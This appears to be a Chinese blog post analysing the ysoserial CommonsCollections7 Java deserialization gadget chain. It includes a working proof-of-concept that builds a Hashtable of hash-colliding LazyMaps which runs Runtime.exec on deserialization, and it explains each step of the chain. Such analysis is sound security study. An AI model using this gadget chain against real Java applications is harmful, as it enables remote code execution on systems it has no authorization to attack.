ysoserial CommonsColletions7分析
CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的。文章如有错误,敬请大佬们斧正
CC7利用的是hashtable#readObject作为反序列化入口。AbstractMap的equals来触发的LazyMap的get方法
POC分析
这条链太过于复杂,无法想象大佬们是怎么样的思维挖掘出这条链的,所以只能跟着大佬的poc跟着进行调试了分析了
public class CC7 {
public static void main(String[] args) throws Exception {
final String[] execArgs = new String[]{"calc"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
System.out.println(lazyMap1 == lazyMap2);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectInputStream.readObject();
}
}
前面和其他链都一样,关键看后面。这里构造了两个LazyMap对象,并且都put进了hashtable中。而hashtable的readObject就是为反序列化的入口。
在readObject方法的最后一行,进入reconstitutionPut方法

进行判断tab[index]是否为null,不为null则进入if语句,执行e.key.equals(key),此时的e.key为LazyMap

转到LazyMap的equals方法,此时的map就是刚开始传入的HashMap,而参数object就是LazyMap


转到HashMap的equals,第495行进行了m.get,而这个m就是LazyMap,从而调用到了LazyMap的get方法

关于满足上面调用链,要满足几个条件
两个LazyMap的hashcode值要一样
为了在hashtable数组put第二个LazyMap时候会执行equals方法,所以要进行两个hash值是相同的。即
lazyMap1.hashCode() == lazyMap2.hashCode()
而相同的条件则是里面的元素值一样,比如
"zZ".hashCode()和"yy".hashCode()是一样的

类似的还有Aa和BB等等
hashtable要put两次
在反序列时候,执行到reconstitutionPut,需要把第一个LazyMap put进数组。此时进行for循环判断tab[3]的值为空(null),即不会进入if语句进行判断,而直接加入lazyMap进行数组到tab[3]的位置

第二次加入LazyMap,会发现LazyMap已经存在于tab[3]的位置,从而进行hash和equals判断。两个lazyMap对象用hashCode拿到的hash值其实是相同的,就会执行lazyMap的equals方法判断两个LazyMap。

e里面存放的值

要remove移除LazyMap的值
因为之前在第二次hashtable.put(lazyMap2, 1);时候会进行一次把值加入到m,m.size就成了2,导致了if语句判断为真,直接return false中断了后面m.get的执行,所以要remove第一次put的lazyMap1。接下来看详细解读
Hashtable不允许放重复得值,Hashtable进行put的时候,会先比较集合中是否有相同得参数(利用hash值和equals方法比较),如下图

第二次hashtable.put时,计算到两个lazyMap得hash值相同,则再调用lazyMap得equals进行比较,lazyMap得equals方法是继承至AbstractMapDecorator

return了map得equals方法,而map得值是在LazyMap.decorate中传入得hashMap2,为HashMap类型

查看HashMap得equals(此方法是继承自AbstractMap)

在482行中,此时m值只有个zZ,size为1

之后把zZ加进了集合后,就有两个元素了。
后面进行反序列化时候,调用到这里会出现m.size=2,而size()则是1,导致了直接return false中断了后面m.get的执行

ysoserial CommonsColletions7分析的更多相关文章
- ysoserial CommonsColletions4分析
ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...
- ysoserial CommonsColletions2分析
ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...
- ysoserial CommonsColletions1分析
JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...
- ysoserial CommonsCollections2 分析
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...
- ysoserial CommonsColletions3分析(2)
上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...
- ysoserial CommonsColletions3分析(1)
CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...
- ysoserial CommonsColletions6分析
CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...
- ysoserial CommonsColletions5分析
我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...
- ysoserial commonscollections6 分析
利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...
随机推荐
- vulnhub-靶机Lampiao
目标信息:攻击机IP地址:192.1681.10 Lampiao靶机IP地址:192.168.1.12 DC-1靶机IP地址:192.168.1.7 目的:获取靶机root权限和靶机设置的所有flag ...
- Lingoes安装词典和语音库
安装词典: 选项->词典,出现"词典管理"窗体,点"安装",从磁盘上选择要安装的词典文件(扩展名为ld2的文件),勾选"添加到索引组" ...
- JunAMS v1.2.1.20190403代码审计笔记
前言 CNVD-2020-24741 过程 JunAMS是以ThinkPHP为框架的开源内容管理系统,本地搭建受影响版本JunAMS v1.2.1.20190403 前台没有上传功能,进入后台.发现在 ...
- OSI网络参考模型学习
文章目录 一.计算机与网络的发展 1.1 批处理系统 1.2 分时系统 1.3 计算机之间的通信 1.4 基于分组交换技术的计算机网络 1.5 互联网时代的计算机网络 1.6 计算机网络中协议的规定 ...
- mpu6050控制舵机云台
准备材料:2个舵机mg90,云台支架,1个arduino-uno,mpu6050 编程工具:VScode-platformio or ArduinoIDE 我使用的是VScode在编辑代码上会更方 ...
- AECC2018同时中英文切换多开使用,加倍提高你的工作效率
最近相信不少人已经更新了AECC2018,升级之后第一件重要的事当然是中英文的切换了,要不然工作中很麻烦.对于一直习惯用中文的人来说,在用模板过程中会出现各种表达式报错极其不方便,而对于习惯英文操作朋 ...
- springCloud之路API路由网关Zuul
1.简介 简单的理解就是,相当于在所有服务的调用前加了一层防火墙, 主要就是对外提供服务接口的时候,起到了请求的路由和过滤作用,也因此能够隐藏内部服务的接口细节,提高系统的安全性: 官方文档:http ...
- 本文详细阐述如何用C#创建COM组件,并能用VC6.0等调用。
本文详细阐述如何用C#创建COM组件,并能用VC6.0等调用. 附:本文适用任何VS系列工具. 在用C#创建COM组件时,一定要记住以下几点: 1.所要导出的类必须为公有: 2.所有属性.方法也必须为 ...
- Hibernate的一级缓存和二级缓存
Fist level cache: This is enabled by default and works in session scope. Read more about hibernate f ...
- jQuery中的子(后代)元素过滤选择器(四、六):nth-child()、first-child、last-child、only-child
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <hea ...